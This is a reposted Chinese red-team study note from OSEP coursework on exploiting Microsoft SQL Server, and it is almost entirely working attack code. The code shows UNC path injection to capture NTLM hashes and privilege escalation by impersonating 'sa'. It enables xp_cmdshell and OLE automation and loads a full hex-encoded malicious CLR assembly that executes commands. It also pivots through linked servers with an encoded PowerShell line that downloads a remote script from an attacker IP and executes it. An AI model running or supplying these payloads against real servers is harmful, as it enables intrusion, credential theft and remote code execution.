文章总结： 这篇文章详细介绍了MSSQL数据库的多种渗透测试技术，包括认证方式、UNCpath注入、NTLMrelay攻击、SQLServer提权、命令执行以及Linkedserver利用等。文章提供了C#代码示例和PowerShell利用方法，展示了如何通过MSSQL漏洞获取系统权限。这些技术对于红队渗透测试和漏洞评估具有重要价值，但同时也提醒安全人员需要加强MSSQL服务器的安全配置和监控。
综合评分： 89
文章分类： 渗透测试,WEB安全,红队,内网渗透,漏洞分析
OSEP | MSSQL利用
原创
小A法师
高级红队专家
2024年8月3日 09:28
北京
关于笔记形式和学习方法请看OSEP学习之路 | 开篇
本篇是第八部分“MSSQL利用”技术，主要包括认证方式、UNC path injection、ntlm relay attack、SQL Server提权、命令执行以及Linked server等
1-SQL认证&UNC path注入&ntlmrelay攻击
using System;using System.Data.SqlClient;namespace SQL{ class Program { static void Main(string[] args) { String sqlServer = "hfdc.hack4fun.local"; String database = "master"; String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; SqlConnection con = new SqlConnection(conString); try { con.Open(); Console.WriteLine("Auth success!"); } catch { Console.WriteLine("Auth failed"); Environment.Exit(0); }
String queryLogin = "SELECT SYSTEM_USER;"; SqlCommand command = new SqlCommand(queryLogin, con); SqlDataReader reader = command.ExecuteReader(); reader.Read(); Console.WriteLine("Logged in as: " + reader[0]); reader.Close();
// check if user is of public role
String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');"; command = new SqlCommand(querypublicrole, con); reader = command.ExecuteReader(); reader.Read(); Int32 role = Int32.Parse(reader[0].ToString()); if(role == 1) { Console.WriteLine("User is a member of public role"); } else { Console.WriteLine("User is NOT a member of public role"); } reader.Close();
// check if user is of sysadmin role
String queryadminrole = "SELECT IS_SRVROLEMEMBER('sysadmin');"; command = new SqlCommand(queryadminrole, con); reader = command.ExecuteReader(); reader.Read(); role = Int32.Parse(reader[0].ToString()); if (role == 1) { Console.WriteLine("User is a member of sysadmin role"); } else { Console.WriteLine("User is NOT a member of sysadmin role"); } reader.Close();
// UNC path injection
String query = "EXEC master..xp_dirtree \"\\\\192.168.203.205\\\\test\";"; command = new SqlCommand(query, con); reader = command.ExecuteReader(); reader.Close(); con.Close();
} }}
2-MS SQL提权
using System;using System.Collections.Generic;using System.Data.SqlClient;using System.Linq;using System.Text;using System.Threading.Tasks;
namespace SQL_Escalation{ internal class Program { static void Main(string[] args) { String sqlServer = "hfdc.hack4fun.local"; String database = "master"; String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; SqlConnection con = new SqlConnection(conString); try { con.Open(); Console.WriteLine("Auth success!"); } catch { Console.WriteLine("Auth failed"); Environment.Exit(0); } String query = "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'"; SqlCommand command = new SqlCommand(query, con); SqlDataReader reader = command.ExecuteReader();
while (reader.Read()) { Console.WriteLine("Logins that can be impersonated: " + reader[0]); } Console.WriteLine("Before impersonation"); reader.Close();
query = "SELECT USER_NAME();"; command = new SqlCommand(query, con);
reader = command.ExecuteReader(); reader.Read(); String user = reader[0].ToString(); Console.WriteLine("Executing in the context of " + user); reader.Close();
String executeas = "use msdb; EXECUTE AS LOGIN = 'sa';"; command = new SqlCommand(executeas, con); reader = command.ExecuteReader(); reader.Close(); Console.WriteLine("After impersonation"); command = new SqlCommand(query, con); reader = command.ExecuteReader(); reader.Read(); user = reader[0].ToString(); Console.WriteLine("Executing in the context of " + user); reader.Close();
con.Close(); } }}
3-MSSQL代码执行
using System;using System.Collections.Generic;using System.Data.SqlClient;using System.Linq;using System.Text;using System.Threading.Tasks;
namespace SQL_CodeExecution{ internal class Program { static void Main(string[] args) { String sqlServer = "hfdc.hack4fun.local"; String database = "master"; String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; SqlConnection con = new SqlConnection(conString); try { con.Open(); Console.WriteLine("Auth success!"); } catch { Console.WriteLine("Auth failed"); Environment.Exit(0); }
// xp_cmdshell /* String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;"; String execCmd = "EXEC xp_cmdshell whoami"; SqlCommand command = new SqlCommand(impersonateUser, con); SqlDataReader reader = command.ExecuteReader(); reader.Close(); command = new SqlCommand(enable_xpcmd, con); reader = command.ExecuteReader(); reader.Close(); command = new SqlCommand(execCmd, con); reader = command.ExecuteReader(); reader.Read(); Console.WriteLine("Result of the command is: " + reader[0]); reader.Close(); */
// sp_OACreate
/* String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; String enable_ole = "EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;"; String execmd = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run',null,'cmd /c \"echo Test > C:\\Tools\\test.txt\"';";
SqlCommand command = new SqlCommand(impersonateUser, con); SqlDataReader reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(enable_ole, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(execmd, con); reader = command.ExecuteReader(); Console.WriteLine("Done!");
reader.Close();
con.Close();
*/
// Custom Assemblies String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; String enable_options = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1;RECONFIGURE;EXEC sp_configure 'clr strict security',0;RECONFIGURE;"; String dropproc = "DROP PROCEDURE IF EXISTS cmdExec;"; String dropasm = "DROP ASSEMBLY IF EXISTS myAssembly;"; //String createAsm = "CREATE ASSEMBLY myAssembly FROM 'c:\\tools\\cmdExec.dll' WITH PERMISSION_SET = UNSAFE"; String createAsm = "CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500006486020068B864EE0000000000000000F00022200B023000000C00000004000000000000000000000020000000000080010000000020000000020000040000000000000006000000000000000060000000020000000000000300608500004000000000000040000000000000000010000000000000200000000000000000000010000000000000000000000000000000000000000040000068030000000000000000000000000000000000000000000000000000F4290000380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E746578740000008F0A000000200000000C000000020000000000000000000000000000200000602E72737263000000680300000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050014210000E0080000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600B500000001000011731000000A0A066F1100000A72010000706F1200000A066F1100000A723F000070028C12000001281300000A6F1400000A066F1100000A166F1500000A066F1100000A176F1600000A066F1700000A26178D170000012516724F0000701F0C20A00F00006A731800000AA2731900000A0B281A00000A076F1B00000A0716066F1C00000A6F1D00000A6F1E00000A6F1F00000A281A00000A076F2000000A281A00000A6F2100000A066F2200000A066F2300000A2A1E02282400000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000B8020000237E000024030000FC03000023537472696E67730000000020070000600000002355530080070000100000002347554944000000900700005001000023426C6F620000000000000002000001471502000900000000FA013300160000010000001C000000020000000200000001000000240000000F00000001000000010000000300000000006C02010000000000060096011B03060003021B030600B400E9020F003B0300000600DC007F02060079017F0206005A017F020600EA017F020600B6017F020600CF017F02060009017F020600C800FC020600A600FC0206003D017F0206002401350206008D0378020A00F300C8020A004F024A030E007003E9020A006A00C8020E009F02E9020600650278020A002000C8020A00960014000A00DF03C8020A008E00C8020600B0020A000600BD020A000000000001000000000001000100010010005F03000041000100010048200000000096003D00620001000921000000008618E30206000200000001005E000900E30201001100E30206001900E3020A002900E30210003100E30210003900E30210004100E30210004900E30210005100E30210005900E30210006100E30215006900E30210007100E30210007900E30210008900E30206009900E3020600990091022100A90078001000B10086032600A90078031000A90021021500A900C40315009900AB032C00B900E3023000A100E3023800C90085003F00D100A00344009900B1034A00E10045004F00810059024F00A10062025300D100EA034400D1004F0006009900940306009900A00006008100E302060020007B0049012E000B0068002E00130071002E001B0090002E00230099002E002B00A6002E003300A6002E003B00A6002E00430099002E004B00AC002E005300A6002E005B00A6002E006300C4002E006B00EE002E007300FB001A000480000001000000000000000000000000003500000004000000000000000000000059002C0000000000040000000000000000000000590014000000000004000000000000000000000059007802000000000000003C4D6F64756C653E0053797374656D2E494F0053797374656D2E446174610053716C4D65746144617461006D73636F726C696200436D644578656300636D64457865630052656164546F456E640053656E64526573756C7473456E640065786563436F6D6D616E640053716C446174615265636F7264007365745F46696C654E616D65006765745F506970650053716C506970650053716C44625479706500436C6F736500477569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C654174747269627574650053716C50726F63656475726541747472696275746500417373656D626C7954726164656D61726B417474726962757465005461726765744672616D65776F726B41747472696275746500417373656D626C7946696C6556657273696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E41747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C457865637574650053797374656D2E52756E74696D652E56657273696F6E696E670053716C537472696E6700546F537472696E6700536574537472696E6700436D64457865632E646C6C0053797374656D0053797374656D2E5265666C656374696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D5265616465720054657874526561646572004D6963726F736F66742E53716C5365727665722E536572766572002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053797374656D2E446174612E53716C54797065730053746F72656450726F636564757265730050726F63657373007365745F417267756D656E747300466F726D6174004F626A6563740057616974466F72457869740053656E64526573756C74735374617274006765745F5374616E646172644F7574707574007365745F52656469726563745374616E646172644F75747075740053716C436F6E746578740053656E64526573756C7473526F7700000000003D43003A005C005C00770069006E0064006F00770073005C005C00730079007300740065006D00330032005C005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000000035C0CB6D8E20B145ABA744E2601021B800042001010803200001052001011111042001010E0420010102060702124D125104200012550500020E0E1C03200002072003010E11610A062001011D125D0400001269052001011251042000126D0320000E05200201080E08B77A5C561934E0890500010111490801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000000C010007436D6445786563000005010000000017010012436F7079726967687420C2A920203230323200002901002461386363636565652D313739622D343264332D393838362D64636266353737393632626200000C010007312E302E302E3000004D01001C2E4E45544672616D65776F726B2C56657273696F6E3D76342E372E320100540E144672616D65776F726B446973706C61794E616D65142E4E4554204672616D65776F726B20342E372E320401000000000000000000910037EB0000000002000000630000002C2A00002C0C00000000000000000000000000001000000000000000000000000000000052534453E46F0B412391B54D8AA8B8DD93667D3A01000000433A5C55736572735C64347277316E79755C4465736B746F705C4D31355C53514C5F415554485C436D64457865635C6F626A5C7836345C52656C656173655C436D64457865632E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000000C03000000000000000000000C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B0046C020000010053007400720069006E006700460069006C00650049006E0066006F0000004802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E007400730000000000000022000100010043006F006D00700061006E0079004E0061006D0065000000000000000000380008000100460069006C0065004400650073006300720069007000740069006F006E000000000043006D00640045007800650063000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D006500000043006D00640045007800650063002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200320000002A00010001004C006500670061006C00540072006100640065006D00610072006B007300000000000000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043006D00640045007800650063002E0064006C006C000000300008000100500072006F0064007500630074004E0061006D0065000000000043006D00640045007800650063000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE";
String createPro = "CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];"; String execCmd = "EXEC cmdExec 'whoami /all';";
SqlCommand command = new SqlCommand(impersonateUser, con); SqlDataReader reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(enable_options, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(dropproc, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(dropasm, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(createAsm, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(createPro, con); reader = command.ExecuteReader(); reader.Close();
command = new SqlCommand(execCmd, con); reader = command.ExecuteReader(); reader.Read(); Console.WriteLine("Result of command is: " + reader[0]); reader.Close();
con.Close(); } }}
powershell利用
$assemblyFile = "CmdExec.dll"$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1 ){ $stringBuilder.Append($byte.ToString("X2")) | Out-Null}
$stringBuilder.ToString() -join ""
4-Linked Servers
using System;using System.Data.SqlClient;namespace SQL{ class Program { static void Main(string[] args) { String sqlServer = "hfdc.hack4fun.local"; String database = "master"; String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; SqlConnection con = new SqlConnection(conString); try { con.Open(); Console.WriteLine("Auth success!"); } catch { Console.WriteLine("Auth failed"); Environment.Exit(0); }
Console.WriteLine("Locate linked servers..");
String findlinkedServers = "exec sp_linkedservers;";
SqlCommand command = new SqlCommand(findlinkedServers, con); SqlDataReader reader = command.ExecuteReader();
while (reader.Read()) { Console.WriteLine("Linked SQL server: " + reader[0]); } reader.Close();
// Execute queries on linked servers Console.WriteLine("Execute queries on linked servers");
String execCmd = "select myuser from openquery(\"HFDC\\PRODUCTION\", 'select SYSTEM_USER as myuser');";
command = new SqlCommand(execCmd, con); reader = command.ExecuteReader(); reader.Read(); Console.WriteLine(execCmd);
Console.WriteLine("execCmd output: " + reader[0]); reader.Close();
// Get shell with xp_cmdshell Console.WriteLine("Get shell with xp_cmdshell");
String enableadvoptions = "EXEC ('sp_configure ''show advanced options'',1;reconfigure;') AT [HFDC\\PRODUCTION];"; String enablexpcmdshell = "EXEC ('sp_configure ''xp_cmdshell'',1;reconfigure;') AT [HFDC\\PRODUCTION];"; execCmd = "EXEC ('xp_cmdshell ''powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMAAzAC4AMgAwADUALwByAHUAbgAuAHQAeAB0ACcAKQAgAHwAIABJAEUAWAA=''') at [HFDC\\PRODUCTION];";
Console.WriteLine("executing query: " + enableadvoptions); command = new SqlCommand(enableadvoptions, con); reader = command.ExecuteReader(); reader.Close();
Console.WriteLine("executing query: " + enablexpcmdshell); command = new SqlCommand(enablexpcmdshell, con); reader = command.ExecuteReader(); reader.Close();
Console.WriteLine("executing query: " + execCmd); command = new SqlCommand(execCmd, con); reader = command.ExecuteReader(); reader.Close();
con.Close(); } }}
5-Linked server SQL查询
exec sp_linkedservers;exec('sp_configure ''show advanced options'',1;reconfigure;') AT [HFDC\PRODUCTION];exec('xp_cmdshell ''whoami /all''') AT [HFDC\PRODUCTION];
select version from openquery([HFDC\PRODUCTION], 'select @@version as version');select * from openquery([HFDC\PRODUCTION] ,'SELECT name FROM master..sysdatabases');
exec('sp_linkedservers') AT [HFDC\PRODUCTION];select mylogin from openquery([HFDC\PRODUCTION], 'select mylogin from openquery("HFDC", ''select SYSTEM_USER as mylogin'')');
6-通过Linked server进一步查询****
select mylogin from openquery([HFDC\PRODUCTION],'select mylogin from openquery([HFDC],''select SYSTEM_USER as mylogin'')');
EXEC ('EXEC (''xp_cmdshell ''''whoami /all'''''') AT [HFDC]') AT [HFDC\PRODUCTION];
坚持自律做最好的自己
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：高级红队专家 小A法师《OSEP | MSSQL利用》